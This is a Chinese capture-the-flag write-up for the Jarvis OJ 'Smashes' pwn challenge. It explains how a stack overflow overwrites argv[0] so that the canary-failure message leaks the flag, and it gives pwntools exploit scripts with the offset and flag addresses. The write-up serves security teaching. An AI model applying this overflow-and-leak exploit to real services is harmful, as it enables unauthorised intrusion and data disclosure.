[Jarvis OJ - PWN]——Smashes

• 題目地址: https://www.jarvisoj.com/challenges
• 題目:
  

還是先checksec一下看看。64位,并且除了PIE,其他保護(hù)基本都開啟了。

在IDA中看看

發(fā)現(xiàn)有可以利用的棧溢出, 我原本的想法是將canary給泄露出來。但是看到觸發(fā)了canary保護(hù)后的結(jié)果, 有點(diǎn)不對(duì)勁。

修改了文件名后,我確定了, 泄露的就是argv[0]。我們可以通過將其覆蓋, 主動(dòng)觸發(fā)canary保護(hù), 將flag拿到手。

我們首先要確實(shí), argv[0], 距離的輸入的偏移。我們找最初的指針指向。
diantance = 0x218

上面我們找到flag的地址位:0x0000000000600D21
所以exploit

from pwn import * #p=process('./smashes') p=remote("pwn.jarvisoj.com","9877") p.recvuntil("name?"); flag_addr=0x0600D21 payload='a'*0x218+p64(flag_addr) p.sendline(payload) p.interactive()

發(fā)現(xiàn)結(jié)果不對(duì),什么都沒有???

看了下相關(guān)博客,學(xué)到了

peak小知識(shí)

當(dāng)ELF文件較小的時(shí)候，他的不同區(qū)段可能會(huì)被多次映射。

找到映射備份地址0x400D21

exploit

from pwn import * #p=process('./smashes') p=remote("pwn.jarvisoj.com","9877") p.recvuntil("name?"); flag_addr=0x0400D21 payload='a'*0x218+p64(flag_addr) p.sendline(payload) p.interactive()

總結(jié)

以上是生活随笔為你收集整理的[Jarvis OJ - PWN]——Smashes的全部內(nèi)容，希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯(cuò)，歡迎將生活随笔推薦給好友。